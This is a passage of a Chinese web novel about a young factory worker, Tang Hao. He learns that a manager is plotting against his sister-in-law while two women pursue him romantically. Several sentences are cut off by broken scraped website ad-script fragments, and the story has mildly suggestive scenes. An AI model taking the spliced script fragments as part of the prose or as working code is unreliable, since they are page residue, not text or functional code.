我故作冷酷说:“我就把刀放在桌上,跟那个大b哥赌命。” “啊,怎么赌?”王美玲又问。 “简单啊,我捅他一刀,他给我一刀,看我们谁命硬。” 这话一说,王美玲吓得一哆嗦。 而我的目的也达到了,说这些可不是为了装逼。 是想让王美玲知道我是个狠人,狠起来更不是人。 别他妈还来惹我! 但我万万没想到,周琴看我的眼神反而更崇拜了,王美玲也像个小女生似的。 “小唐,你真厉害!”王美玲竟然夸起我来。 我心里暗笑,你之前不还指着我鼻子骂,真转性了? 懒得去纠结,我乘势问:“对了,王姐,你前两天为什么要跟我过不去啊?” 这才是我在意的。老李说过,像我这种走关系进来的,王美玲一般都不会为难。 除非,带我进场的跟王美玲有仇。 但我背后是廖主管,喷漆车间真正的大哥,而王美玲充其量只是副手。 给王美玲一百个胆子,也不敢跟廖主管叫板吧。 心里瞬间闪过很多念头,但我不觉得一个人能小气到这份上。 而且猜来猜去没意思,干脆找王美玲问清楚。 王美玲脸色一变,有些局促。 “小唐,明天我找时间跟你说好么?” 她弱弱询问的样子,让我很不习惯。 说真的,我宁愿她还是高高在上,这样我才有理由继续讨厌她。 我当然想刨根掘底,可看王美玲这模样,分明是不想让更 多人知道这件事。 不是吧,这里面难道还有什么隐情? 我更好奇了,不过没再问,想着也不差那么一会,就说了句好。 回到宿舍后,老李等人一脸好奇问我事情搞定没。 我说差不多吧,他们盯着我看,眼里全是疑惑和好奇。 我也不知道该怎么解释,只好尴尬说了句就这样。 伟哥直接爬到上铺,被子一蒙,说他喝了酒很累,要睡觉。 这下大家更懵了,老李等人面面相觑。 我心里也挺火大的,心想: “靠,我又没想跟周琴怎么样,她自己投怀送抱,怪我咯?” 越想越气,尤其伟哥这反应就跟受了气的小媳妇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一样。 气头上的我也往床上一躺,心想爱咋咋地吧。 那晚,我睡得很不踏实,反反复复做梦。 一会梦到嫂子,一会又梦见大b哥给我很多钱。 一叠叠钞票,我高兴地跑到嫂子面前说: “我们终于有钱了,可以过好日子了!” 可嫂子却在哭,哭得那叫一个伤心,弄得我很是手足无措。 我火急火燎问她怎么了,这时候又来了几个带帽的,说要配合调查。 堂哥也出现了,阴笑着说:“唐浩,你死定了!” 然后就拉扯嫂子,要把她带走。 莫名其妙的梦害我出了一身冷汗,早上上班时也心不在焉。 伟哥还是不理我,搞得我更烦了。 我很想说:“草,你一个大男人扭扭捏捏的!对我有意见就说出来,把话说开行不?大不了打一架!” 但最后我还是没说出口,心里憋着一股气。 直到午饭点,嫂子的出现我才心情好转了不少。 她一出现,我就感觉轻松多了,仿佛一切都会好起来。 嫂嫂今天又给我准备了姜汤,以为我昨夜又通宵加班了。 我没敢说实话,只能傻笑着接过来,一口气喝了个干净。 “小浩,你的伤好点了吗?”嫂嫂关切地问道。 她伸手就要查看我胳膊上的伤,其实也没啥大事了,就是用力时还有点隐隐发酸。 不然的话,昨晚跟小飞那种泰拳高手过招,我肯定得吃大亏。 我刚想说没事了呢,结果她一弯腰,由于她今天穿的是比较宽松的衣服,还是圆领。 那里面的风景,瞬间暴露在我眼前。 雪白雪白的,美不胜收。 还晃了下,连同我的心神也晃了起来。 我的脸唰一下就红了,眼睛不知道该往哪里放。 心里明知不该看,可就是挪不开。 嫂嫂见我这个傻样,起初愣了下,旋即脸也红了。 我以为她会生气,急忙张口想解释。 可她却只是嗔怪地瞅了我一眼,然后轻轻捏了下我的手臂。 “不正经!”她嗔道。 我继续装傻,心里美滋滋的。 嫂嫂竟然不恼,这种感觉真是奇妙,像是接触到了完全陌生的领域。 道不清,说不明。 只是还没来得及回味,王美玲突然打破了我的幻想。 “小唐,跟我来办公室。”她板着脸说。 周围的人立马闻到八卦,眼睛擦亮,窃窃私语。 “这下是要开除了吧?” “可惜了啊!” 我心里却有数,暗笑你们就扯吧,还别说,这种感觉真挺爽。 嫂嫂也一脸紧张,手足无措,不知道该怎么办。 她无措的模样,真叫人心怜。 我稳如老狗冲嫂嫂笑了笑。 “别担心,我去去就回。” 第15章 还是你们会玩啊! 王美玲的办公室在厂东侧一栋楼里,单间的,毕竟她也算是个小领导。 一进门,王美玲立刻把门锁上,动作迅速得像要干什么见不得人的事。 她这么小心谨慎,害得我心里不由自主又胡思乱想起来。 到底怎么了?针对我的事真有隐情吗? 王美玲笑盈盈看着我,我皱了皱眉,吐了口气后,果断问: “王姐,怎么搞得像谍战片一样?” 王美玲没回答,而是反问我:“小唐,没发现王姐今天有什么不一样吗?” 我心里迷糊,啥不一样? 想起她前两天那张臭脸,再看现在的妩媚样,简直判若两人。 要真说哪不一样,也就这了吧? 于是我咧咧嘴:“王姐,你可算对我笑了。” 王美玲却白了我一眼,没好气说: “小唐,你是不是没喜欢的女孩子啊,怎么那么呆头呆脑的?” 我想说放你的五香麻辣屁呢,当然有喜欢的人了,还是日思夜想! 只是这话没法说出口。 王美玲见我这样,扑哧一声笑了,摆手让我坐下,还给我斟茶倒水。 态度那叫一个好,真是让我享受极了。 被这么个母老虎伺候,心里满满的成就感。 “小唐,没发现王姐今天换口红了么?” 她边说边在我面前转了圈,那裙摆随风微微扬起,露出洁白无瑕的小腿。 “这身打扮好看吗?” 听见她这么问,我都没好意思说根本没关注。 主要还是那时候的我太纯了,也不是我美化自己,真的是纯。 要过段时间,我肯定立马明白她发烧了。 而且我心里藏着事,也就没在意。 但不得不说,王美玲的确算蛮有姿色,我能想到的一个词,便是风情。 尤其是她今天确实精心打扮过。 她的妆容精致,深红色的口红像是熟透的樱桃,勾人心魂。 黑色的长发波浪卷,随意披散在肩上,慵懒又魅惑。 那身材,本来就傲人,在紧身连衣裙的衬托下,就更加吸睛了。 不知怎么的,我脑中突然浮现出嫂嫂和周琴的身影,心里不由得比了比,哪个更大? 该死! 我怎么会有这种念头! 羞愧之情涌上心头,赶紧挪开了视线。 王美玲见状,笑得意味深长。 她轻声道:“你们男人啊,一个德行。让你看衣服呢,看哪去了?” 她踩着细高跟走过来,毫不客气坐在我旁边。 我不由自主挪了挪位置。 她笑得更开心了,问:“好看吗?” 我被她弄得窘迫无比,只好强行转换话题:“王姐,你穿这么漂亮,是要去参加婚席吗?” 她微微一愣,随即笑得银铃般清脆,眼角都笑出了泪花。 “小唐,真没看出来,你这么大的本事,还这么纯真。” 我不知道怎么接话,只好默默不语。 她身上的香味愈发清晰,很好闻,好像玉兰花的香气。 王美玲盯着我看,我也盯着她看,过了几秒钟,我终于服了。 挠了挠后脑勺,我问:“王姐,你到底想说什么,别拿我寻开心了行不。” 王美玲细眉微扬,一副胜利者姿态,也不知道她是有意,还是无意。 随着身子微微前倾,她又挨得更近了。 “小唐,小琴喜欢上你了知道吗?” 我愣了一下,难以置信地眨了眨眼: “不可能吧,我就见过她一面,连几句话都没说上。” 王美玲嗔了我一眼,“真笨,英雄救美没听说过么?” “何况昨晚那么凶险,要不是你,我和小琴早被欺负了!” 我笑了笑,摆摆手,“那也不至于就喜欢上我吧。再说了,伟哥喜欢她呢。” 王美玲撇了撇嘴,眼神闪烁,好像想说伟哥的坏话,但又顾及到我,改口道: “感情这种事嘛,强扭的瓜不甜。小琴眼光可高了。” 我很无奈,心想你也真是闲,竟跑来给外甥女说媒。 当下我很果决道:“抱歉啊,王姐,恐怕得让你和周琴失望了。” 本以为王美玲会恼,或者继续游说。 但她竟然挺开心的,笑着说:“是吗,那做不成情侣也没关系。” 她的手突然搭在我大腿上,那感觉就像被电了一下,心跳顿时加速。 王美玲低声道:“小唐,那你有兴趣当小琴的姨丈吗?” 哈?! 听到这话,我直接人都傻了。 你们真会玩! 我也才反应过来,敢情王美玲之前那些小动作,全是在暗示我呢! 不知道你们能不能体会我当时的心情,真的是又荒谬又有点暗爽。 荒谬的是,王美玲和周琴竟然同时看上了我,还偏偏是姨甥关系! 而暗爽的是,这两人之前都看不起我,现在却这么主动,难免让我觉得有点成就感。 可是,问题来了,王美玲起码大我一轮吧! 哪根筋搭错了 , (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还想着老牛吃嫩草? 我承认,在那么一瞬间,我心里确实有点摇摆。 但只是一瞬,我还是很快坚定了自己的立场。 想起嫂嫂说我优秀,将来肯定会有很多女孩子喜欢我。 我优秀吗?说实话,我真不觉得。 一来我文化水平不高,二来我也没钱。 充其量就是托爸妈的福,长得还算高大。 唯一能拿得出手的,就剩打架了。 我连忙起身,“王姐,你真会开玩笑,哈哈哈。” 干笑了几声,试图含糊过去。 王美玲脸色一下子变了,眼里多了几分幽怨,好像我真伤了她的心。 “小唐,你嫌我老吗?” 我哪敢这么说啊,这话要是说出口,不是把她得罪死了吗? 灵机一动,我诚恳道:“王姐,你很好,谢谢你看得起我这个穷小子。” “但我已经有喜欢的人了,所以,非常抱歉。” 王美玲整个人瞬间冷了下来,气氛一下如坠冰窟。 我和她就这样僵持住了,非常尴尬。 正当我寻思该怎么缓和气氛时,王美玲突然道:“小唐,你不是很好奇,前两天我为什么处处针对你吗?” 我立马来了兴趣,脑子里那些杂七杂八的想法全没了。 今天来到这,本来就是为了搞清楚这件事的! 都怪王美玲搞我心态,险些忘了正事。 我咽了咽口水,问:“对啊,为什么?” 王美玲翘起腿,高跟鞋被她用脚尖勾着,一晃一晃的。 她笑眯眯看着我:“我又不会吃了你,坐回来。” 我还真怕,但也不好抚她的脸面。 重新回到沙发上,我追问道:“现在可以说了吧?” 王美玲语气很柔:“其实吧,我也知道这样做很让人讨厌。你会恨我吗?” 她说着,轻轻握住了我的手。 我心想你又来了是吧,有完没完! 但也不好把手抽走,现在最关键的,还是从她嘴里弄出我想知道的真相。 我说:“怎么会呢王姐,我也不傻,你跟我无冤无仇,这样做肯定被人指使了吧?” 王美玲连连点头,那无奈和委屈的小表情绝了,就好像她也是受害者一样。 “是呢,小唐,只要你愿意深入了解,会发现我很好的。” 她别有深意似的看着我。 我已经有点不耐烦了,屁大点事,绕来绕去非得拉扯,却还是按捺住急性子。 “王姐,我懂,所以谁要搞我?” 第16章 小姨都跟你说了? 王美玲重重叹了口气,显得特别为难的样子。 “小唐啊,按理说你是廖主管带进来的,他没道理为难你,对吧?” 这话一出,我心中的火苗“噌”地一下窜了起来。 我早知道这姓廖的不是什么好东西,但没想到他竟然这么小气,这么无耻! 我咬着牙,深吸一口气,尽量让自己平静下来。 那天的情况,我可是够低声下气了,草,不当人了是吧! 王美玲紧紧抓住我的手,好像怕我一时冲动,直接去找廖主管算账。 她的眼里满满担忧,看来昨晚之后,确实让我们的关系有了质的变化。 至少现在,我觉得她是真心关心我的。 “小唐,接下来我要说的,可能会很难听,但你记住,千万别干傻事。” 我点了点头,咬着牙说:“王姐,你说吧。” 王美玲拍拍我的手背,像是想给我一点安慰。 “其实,廖主管是看上你嫂子了。” 我没吭声,如果面前有镜子,那我现在的样子,绝对是想杀人那种。 我当然知道这货对我嫂子的企图,但我还是低估了他的无耻。 以为那天已经挡住他了,他就会死心,没想到这货贼心不死! 王美玲继续说:“廖主管这个人好色,被他盯上,没有一个是好下场的。” “可能是因为他知道你很能打吧,而且你也在厂里,所以他不好对你嫂子下手。” 听到这里,我心中的怒火更盛。 姓廖的简直就是人渣,居然还是个惯犯! “所以,他让我刁难你,让你自己觉得待不下去。又让我多多照顾你嫂子,让她能快速融入质检部这个环境。” “这样一来,到时候你想走,但你嫂子可能会不舍得。” 王美玲说到这里,苦笑连连。 我气得浑身发抖,这要搁当年,我二话不说就干他丫的了。 但经过牢子里的教育,我明白了一个道理。 就是得沉住气,凡事先想想自己会不会吃亏,值不值当。 很显然,除非整死这姓廖的,不然回头他依旧活奔乱跳,而我又进去了,血他妈亏。 于是很快,我调整好了情绪。 王美玲道:“你应该是通过别人介绍给廖主管,然后被他带了进来。” “介绍你的人可能有点能耐,但不多,廖主管只是不想得罪得太狠。” “所以就拜托我来处理,这样他就可以撇得一干二净,刚好他还出差了。” 听到廖主管出差,我不由松了一口气。 原来不在厂里,那嫂嫂目前是安全的。 真恨不得这人渣在外头被车撞死,别回来了! 我连忙问:“我要是不走,他不就没戏了?” 王美玲扑哧一笑,“你啊你,还是太嫩了。” 说着,她看我的眼神又怪怪的。 尤其说“嫩”这个字时,语气也很怪。 我没懂啥意思,便问:“不对吗?” 王美玲似笑非笑看着我,“如果你不清楚这里面的道道,就觉得我难缠,不想待了。” “现在港城找份工作多难?一份安稳还包吃住的工作,就更难了。” “你觉得林桃会怎么选?你们会不会因此吵架?” 她笑得意味深长。 “这才是廖主管的真正算计,一旦你们闹矛盾,他就有理由接近你嫂嫂。” “只要装得和蔼可亲,愿意听你嫂嫂倾述,然后给你嫂嫂解决麻烦。” “我就问你嫂嫂会不会很感激?所以关键不是逼走你,只要在你嫂嫂面前有了好感,一来二去,谁招架得住?” 我草! 脑子嗡的一声,王美玲的话简直撞烂了我的三观。 真没想到这姓廖的城府如此之深,一环扣一环。 这是祸害了多少女人,才这么的熟练? 王美玲轻叹,“不然,真要逼走你何必那么麻烦?随便找个理由就能把你开了。” “这事就是我当恶人,他唱白脸,最后,说不定你也会对他感恩戴德。” “王姐,那你为什么愿意配合这种人渣啊?” 我皱紧眉头问,突然,有个想法爬上了心头。 既然这姓廖的好色,王美玲又挺有姿色,那他们不会是…… 王美玲似乎捕捉到了我的想法,翻了个白眼,没好气道: “想什么呢,他可不敢碰我,而我呢,也要对方是谁不是?” 她故意靠过来,那股成熟的魅力实在难顶。 就好像只要我愿意,这颗熟透的水蜜桃随时就能啃上一口。 俗话说女人到了三十如狼似虎,原来真的! 我连忙挡住,求饶道:“王姐,我现在没心情跟你开玩笑。” “谁开玩笑了。”王美玲娇嗔道:“真不考虑一下姐姐吗?” 不得不说,她这样实在犯规。 我一个从未跟女人有过什么的雏,怎招架得住她这般调戏。 心跳不由又加快,只感觉血气上涌。 但我还是把持住了,一本正经道,“你还没回答我的话呢。” 王美玲见我油盐不进,俏脸闪过一丝失望。 “我想将小琴弄去外商部当文职,那地方既安逸,肥水也不少。” “廖主管刚好有关系,于是我俩利益互换了呗。” 见我神色一沉,她又赶忙补充: “别怪我,我不是没良心,但良心能换来什么?” “我和你们又不熟,何必为了你们得罪他?再说,我不做,也有人抢着做。” 我心里很不是滋味,果然,社会远没有我想的那么好混。 处处都是脏东西,以及人情世故。 王美玲的话像一把刀,刺得我心里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 直发颤。 一个没背景的底层打工仔,就活该被人欺负,是吗? 别人都在天人交战,把我算计得死死的。 而我呢,之前一直被蒙在鼓里,为此还郁闷了老久。 这时王美玲叮嘱道:“你知道就好,我看看有没有什么办法摆平。” “你也不要去跟林桃说,没用,林桃肯定不会相信,信不?” 我本来就没这个打算,且不说嫂嫂信不信。 重点是,我根本不想嫂嫂担心这些。 王美玲又安慰我,说晚上带我去个好点的酒店吃饭,别想七想八了。 就算想也没用,凭我自己是解决不了的。 而我昨晚救了她,她很感激,便决定帮我搞定这个麻烦。 我说谢谢,但吃饭什么的就没必要了,主要是没心情。 从王美玲的办公室走出来,我突然感觉自己真是渺小如尘。 推开沉重的木门,走廊里冷冷清清,只有我一个人影。 纵然心有大志,可现实却是我现在啥也不是。 区区一个车间主管,都能让我无可奈何! 这种感觉实在太憋屈,不由就想起了大b哥,想起桌上那一沓一沓的钱。 那一沓一沓的钱多么诱人啊,好像在对我招手。 我一直以为凭努力可以改变命运,现在看来,真是天真得可笑。 难道只能走大b哥的路,我才能摆脱这该死的命运吗! 想着想着,我都不知道自己怎么走出办公楼的。 当下也没心情上班了,只想找个地方透透气。 脑子里乱成一团,就像一锅煮沸的粥。 但就在这时,有人拍了下我的背。 我转身看去,原来是周琴。 “浩哥,小姨她都跟你说了吗?” 她挺害羞的,比之王美玲,是要青涩多了。 把玩辫子的样子真挺可爱,有点邻家妹妹的感觉。 我一时间没反应过来,“说了什么?” 周琴低着头,双手紧张地扭着辫子,脸颊微微泛红。 “就是……就是人家……” 她声音越来越小,像蚊子哼哼。 但突然,就好像什么迸发了,猛地抬起头来,眼睛里闪着亮光。 “讨厌,就是人家喜欢你嘛!” 这一瞬间,我被她的气势镇住。 好像世界都静止了,只剩下她那双闪闪的眸子。 这是头一回被女生表白,王美玲那不算吧,她只是逗我好玩。 我当然开心,却清楚不能答应,因为,我心里已经住着人了。 根本腾不出位置,连那么一丁点都没有。 不知道该怎么处理,完全没经验,更要命还是—— 老李和伟哥正朝这边走来,也显然听见了周琴的表白。 伟哥手上的毛巾掉地上,目瞪口呆。 第17章 好不好 像这种情况,用现在的话来说就是修罗场了吧。 谁说三角形是最稳固的形态?我看就是个屁! 伟哥喜欢周琴,周琴却跟我表白,还凑一块了,这不胡了吗? 不知道你们遇到这种情况会怎么应对,反正我是贼他妈尴尬。 而周琴这个搞事精,表白完之后还不负责! 撂下我和伟哥,她自己害羞跑了。 不是,你害羞个屁啊! 老李看了看伟哥,又看看我,似乎这个问题纵然他阅历丰富,也无解。 我摸了摸鼻子,确实不知该说什么,便打算跑路得了。 可经过伟哥身旁时,他突然拉住了我。 我看着他,还以为他要打我,但他的反应却比我想象中要平静。 “小唐,咱哥俩聊聊吧。”他说。 我没多想就说好,大家同住一个宿舍,低头不见抬头见,根本没法逃避。 伟哥于是招呼换个地方,老李也要跟上,却被伟哥喊住。 这可给老李急坏了,他说你们有话千万好好说,别打架啊。 听到这话,伟哥的表情更难看了。 我们来到一栋楼后面,伟哥一拳砸在墙壁上,旋即倒吸一口气。 不清楚他是疼,还是怒气并未发泄出来。 “小唐,你接下来怎么打算?” 我愣了愣,反问:“啥打算?” 他火气十足地嚷:“周琴跟你表白了,你打算咋办?” 我心里暗想,当然不能答应啊,还等着嫂子的承诺呢,怎能摇摆不定。 但说实话,周琴的表白,我心里多少还是有点触动的。 毕竟,长那么大,头一回有女生跟我表白,她条件还真不赖。 颜值高,身材火辣,关键是王美玲的外甥女,这背景硬得很。 要是我俩成了,我在厂里的地位不就稳了? 不是我势力,是这几天的遭遇让我深刻体会到,人得找对位置。 可我心里那道坎过不去,从十二岁开始,我就暗恋林桃了。 暗恋了七年,就算这条路走不通,我也绝不回头。 一条道走到黑,绝不后悔! 况且,我也不喜欢周琴,就是没有那种感觉。 我眼珠一转,叹了口气:“伟哥,事情搞成这样,我也不想。” “我不想因为这个,影响咱兄弟感情,我会拒绝她的。” 我这么说,主要是考虑伟哥的感受,我可不想因为个女人,让兄弟反目。 哪知伟哥下一句话,差点没让我惊掉下巴。 他竟然说:“不行,你得答应她。” 我彻底懵了:“啊?!” 伟哥脸色铁青,每一句话都像从心口挤出来的血。 “我进场打工三年了,这三年,我是看着琴琴过来的。” 他说这话时,眼睛有些湿润,整个人显得无比沉重。 “她很单纯,如果可以,我愿意给她我的全部。” 我忍住想翻白眼的冲动,心里暗骂:单纯个鬼! 昨天她还和王美玲一起,当我是傻子呢。 伟哥继续:“所以,小唐,我不希望琴琴受到伤害。” “你救了她,她喜欢你也应该,但你要拒绝,她肯定很难过。” 我草! 伟哥这简直是恋爱脑加纯爱战士的结合体,没救了! 多年后当我听说王宝钏挖野菜这个梗,便想起了伟哥。 当下我无奈道:“可我不喜欢她,总不能勉强自己吧。” 伟哥点了根烟,深吸一口,像是刚才的话已经耗尽了他的精力。 “我们翻篇了,你愿意认我这个兄弟,是看得起我。” “放心,我没那么小心眼,但琴琴的事,你不喜欢那就让她觉得你们不合适。” “前提是,你不能乱来!” 最后一句,他脸上带了几分凶狠。 我苦笑:“行吧,那我看看怎么做,才能让她不喜欢我。” 也是实在不想跟他继续纠缠,溜了溜了。 回到车间,别人看我竟然没收拾东西走人,都挺意外,一个个傻眼了。 感觉挺痛快,哎嘿,哥哪会这么轻易就退场! 嫂嫂得知我没被开除,笑得那叫一个明媚。 我自然什么都没说,走进车间,就把坏情绪全扔了,换上笑脸。 不想将坏情绪带给嫂嫂,哪怕一点。 只是我万万没想到,周琴竟然又有了动作。 晚饭时,我和嫂嫂打了饭,刚坐下,周琴不知从哪就冒了出来。 她的出现让我心里咯噔一下,生怕她乱讲话。 但又没法把她赶走,只能无奈地看着她。 周琴一口一个“小桃姐”叫得可真甜,逗得嫂嫂笑得合不拢嘴。 这是好事,但她竟然非常自然坐在我旁边,还把自己餐盘里的肉夹到我这里。 而且那动作,绝对是想送到我嘴里,幸好她临时改变了主意。 周琴在厂里名气不小,长得清纯可爱,走哪都吸引眼球。 关键是她年轻,活力满满,这在厂里普遍三四十岁的人堆里,是不一样的风景。 而她对我如此亲近,自然又引来不少人窃窃私语。 大家震惊坏了! 我则无比窘迫,明明应该挺爽才对,却不知道是不是错觉。 嫂嫂有那么一瞬,眼里闪过失落。 我的心揪了一下。 想解释,却又怕越解释越复杂。 周琴这女人,吃饱了撑的是吧! 嫂嫂突然就不怎么说话了。 而周琴却很欢快,似乎有说不完的话题,一会聊电影,一会聊明星八卦。 还说周末买了票,要我和嫂嫂三个一起去看。 嫂嫂兴趣索然,淡淡一笑,“我就不去了,你们年轻人玩。” 周琴一脸计谋得逞的样子。 我不禁想起伟哥那句“琴琴很单纯”,不是,你管这叫单纯? 果然情人眼里出西施,估计在伟哥那,周琴放个屁都百花香。 这时嫂嫂起身,说自己吃饱了,还有一批货需要检查,得先回去。 我知道嫂嫂不高兴了,心情却无比复杂。 怎么说呢。 嫂嫂因为周琴亲近我而不高兴,那是不是说她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 对我也有那个意思? 这反而让我兴奋,但又怕会错意。 同时我也心急,嫂嫂不开心,这对我来说如同天塌了一样。 看着嫂嫂离去的背影,不知为何感觉到了一点点落寞。 我起身想追上去,却被周琴扯住衣角。 “小桃姐怎么了?我说错话了吗?”她一脸无辜。 你还好意思说! 我立马意识到这件事得快刀斩乱麻,容不得半点拖延。 可不能让嫂嫂误会! “跟我来。”我冷冷撂下一句话,就匆匆往食堂大门走去。 来到个没什么人的地方,周琴又在扭着她的辫子。 似乎只要一紧张,她就会这样干? 我本来是想先让自己好好考虑,该怎么说才能既不让周琴受伤,又能全身而退。 但现在没办法了。 于是,我就说我们根本不熟,昨晚救你并没有其他意思。 那种情况换谁都会挺身而出,再说伟哥才是第一个冲上去的。 又说不能因为我救了你,你就喜欢上我了,很奇怪。 这根本就不是喜欢,而是感激好吧。 我尽可能把话说得委婉,也是后来才知道,这种应该叫走钢丝效应。 就是人在极度高压之下,情绪容易放大,周琴是对我产生了依赖。 但依赖不是喜欢。 我们不是一个世界的人,刚才她说的电影,明星八卦,我压根插不上嘴。 可周琴直接就泪眼汪汪了,那真叫一个楚楚可怜。 好似我拒绝她,十恶不赦一样。 我很急,就怕女人哭,连忙说:“别这样啊,我们真不合适。” “哪不合适了!”周琴却很犟。 我决定吓唬她一下,就故意摆出阴恻恻的表情。 “实话跟你说吧,你知道我为什么大老远跑来南方打工不?” 周琴摇摇头,还是眼巴巴看着我,好像个小狗。 我压低声音,“因为我杀过人,坐过牢,有案底。” 对于过去,我真心不想再提,那是我人生里的污点。 不是被逼得没法,同时觉得周琴应该不会四处乱说,想让她害怕,离我远点。 然而周琴也不知道是不是疯了,竟然说:“那又如何呢?” 给我整无语了。 “浩哥,我…我让你讨厌吗?”周琴的声音轻轻的。 我答应了伟哥,不能伤害她。 说实话,我对她也没有讨厌之情,甚至有些许的欣赏。 “不讨厌。”我回答。 周琴的眼睛瞬间亮了起来,笑容如春花般绽放: “那就好,我才不管你以前怎么样,对别人怎么样。” “浩哥,你在我心里就是大英雄,我好喜欢你,我想追你。” 她的声音坚定而真挚,就像是对未来的宣言。 话音未落,她再次扑进我的怀里,柔软的身躯仿佛没有骨头,就像一团温暖的云朵。 她的脸紧紧贴着我的胸口,我能感觉到她呼吸的温热,心跳的急促。 “我想当你的女人,好不好。” 第18章 这样轮番上阵…… 周琴这话实在难顶啊! 我血气方刚一男的,本来就对这些满怀好奇。她这一扑,更是让我的理智快要崩溃。 早前听老李他们说,南方的姑娘挺开放,可没想到,竟然开放到这个程度! 周琴给我的感觉就是:只要我顺水推周,今晚就成了。 我心跳加速,理智在与本能疯狂较劲。 她软软的身体贴在我胸口,像棉花糖一样,这谁能顶得住? 但我还是硬生生抵住了诱惑,尽管每一秒都像在走钢丝。 一来,说我一根筋也没错,嫂嫂的许诺我还盼着呢。 二来就是,即使不用伟哥提醒,我也没打算瞎搞。 冲动能支配一时,但不能支配我的人生,我不想伤害周琴。 我深吸一口气,把手搭在她的双肩上,稍用了点力,把她从我身上剥离了出来。 她的小脸仰着,灯光下,眸光闪烁,泫然欲泣。 这模样,让我怎么狠下心来? 哎…… 我敛了敛神,心里千言万语,却无奈咽了回去。 想了想,最终改口道: “不如这样吧,我们也才认识没两天,对彼此还不了解。” “而且我也没打算找女朋友,要不,我们先做朋友?” 这样说,虽然有养备胎之嫌,但我敢发誓真没有。 只是为了照顾对方的情绪。 她的眼神瞬间黯淡了,那一刻,我好像看到她眼中有破碎的星光。 但很快,她又挤出一个笑。 那笑,比哭还难看。 “好,先做朋友。”她干巴巴说道,声音里夹杂着无法掩饰的失望和无奈。 我看着她强颜欢笑的脸,心中涌起一股酸涩。 她比我想象的坚强,暗暗松了口气,但心里却像压了一块大石头,沉甸甸的。 不过,我清楚我们只能这样了。 剩下就交给时间,只要我坚守住底线,她也会慢慢淡了吧? 于是为了减少见面的机会,我连食堂都不敢去了。 就这样过了两天,日子还算平静,一度让我以为周琴放弃了呢。 伟哥也重新搭理我了,只是感觉味道变了。 就像某本书上写的,有的人明明在笑,心里却在哭。 这回轮到嫂嫂不理我了,我一有空就去质检部瞎转,希望跟嫂嫂来场偶遇。 结果嫂嫂却托人转告我,说她很忙,有事晚点再说。 完了。 嫂嫂这回真生气了? 可我还是不懂她为嘛生气,难道真是对我有…… 女人的心啊,真叫人琢磨不透。 嫂嫂,周琴,王美玲,全都搞不懂。 尤其王美玲,她见我在办公楼下徘徊,就以为这是想她了。 还笑着调侃我:“哟,小唐,想姐姐啦?” 然后不由分说扯着我,又把我拖进她的办公室。 我真是无语至极,没好气说:“王姐,你正经点啊。” 王美玲依旧笑得跟狐狸似的,“姐姐哪里不正经了?要是不正经……” 她那根食指,就像条小蛇,在我胸口溜达了一圈。 “小唐,今晚一起吃饭?” 她的话,就像带着钩子,直往我心窝里钻。 这女人,跟我之前想的,完全是两码事。 一开始,我以为她是个和蔼可亲的大姐姐,后来才知道,她凶起来能吓死人,活脱脱就是只母老虎。 现在,这母老虎不凶了,改成想吃人了。 我摸不着头脑,这是逗我玩呢,还是来真的? “王姐,行行好,就饶了我吧。”我苦笑着求饶。 王美玲却笑得更欢了,我愣是没搞懂笑点在哪。 好在这时,救星来了—— 王美玲被叫去核对一批货,听那严肃的语气,八成是出了大事。 她一走,我赶紧开溜。可刚到楼梯口,又被周琴堵了个正着。 真是的,这天有不测风云,人有艳福成双。我这是招谁惹谁了啊? 周琴又把我扯回办公室,气鼓鼓盯着我。 过了一会儿,她像是挺挫败,圆润的小肩膀一垮。 “真讨厌,你到底对我施了什么法,我为什么就是对你生不起气来呢。” 这话让我哭笑不得,说实话,我也想知道答案。 周琴刚泄了气,又鼓起脸蛋,撅起小嘴。 “你太坏了,为什么躲着人家,人家是什么怪物么!” 我佯装无辜,“没啊?哪有躲你?” 周琴更气了,哼了声,“还想骗我,我都问张伟了,他说你都在宿舍吃饭!” 我去! 难怪伟哥早上那会看我的眼神不对劲,原来又是你搞的鬼。 不是,你是真不知道伟哥喜欢你,还是没当回事? 这样搞,不敢想伟哥多难受。 我说:“别多想,最近大伙都在议论,说我为什么还没被辞退,都好奇我的靠山是谁。八卦我听着烦,就干脆不去人多的地方了。” 周琴狐疑问:“真的?你敢发誓真不是为了躲我?” 我果断举起右手,要做 出起誓的动作。 却不料,周琴这个小恶魔竟踮起脚,就在我脸侧啪叽一口。 我大意了,没躲开。 倒不是我反应慢,而是她这举动,属实让我震惊坏了。 我当即手足无措,气急败坏,“干什么!” 周琴的俏脸蛋儿红透了,但这回她比之前更大胆。 她一把挽住我的手臂,又挤我。 “浩哥,人家想通了。” “啥?” “反正就是非你不可,就算你对我没感觉,我也会努力的!” 听到这话,我内心那叫一个无语,果断把手抽出来。 “别闹,我真不找女朋友。” 周琴却像铁了心要跟我杠上,“那不行,我就要追你。” 我们大眼瞪小眼,僵持好一会。 最后,我算是服了她,无奈道:“姑奶奶,我很坏的,不是什么好人。” 周琴的关注点却让我佩服得无语,她居然说我喊她“姑奶奶”好新奇,好听。 还让我再喊一句听听。 我有点不耐烦,转身往门口走去,却被周琴挡住。 她张开双臂,把 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 门封死。 我说真别闹了,待会你小姨回来咋办。 周琴却耍赖起来,昂首挺胸,“那你就把我推开,轻点哦。” 这话让我刚抬起的手,顿时无处安放。 幸亏,王美玲恰好回来得及时。 她看到我和周琴好像在玩老鹰捉小鸡,愣了下。 “干嘛呢你们?”她问道,语气里透着调侃。 周琴见状,悻悻地放下手,赌气似的哼了一声:“浩哥,记住我说的!” 说完,她越过王美玲,像风一样跑了出去。 我心里直呼:这姨甥俩轮番上阵,谁顶得住啊! 王美玲又把我拦下,她上下打量了我好几眼,嘴角勾起一抹笑意: “小唐,看不出来呀,长得也算浓眉大眼的,怎么就这么奸懒馋滑呢?” 我连忙否认,“哪有?” 她笑得意味深长,“上班时间在这瞎晃悠,不算偷懒?” 我立马反驳,“那奸馋滑又怎讲?” 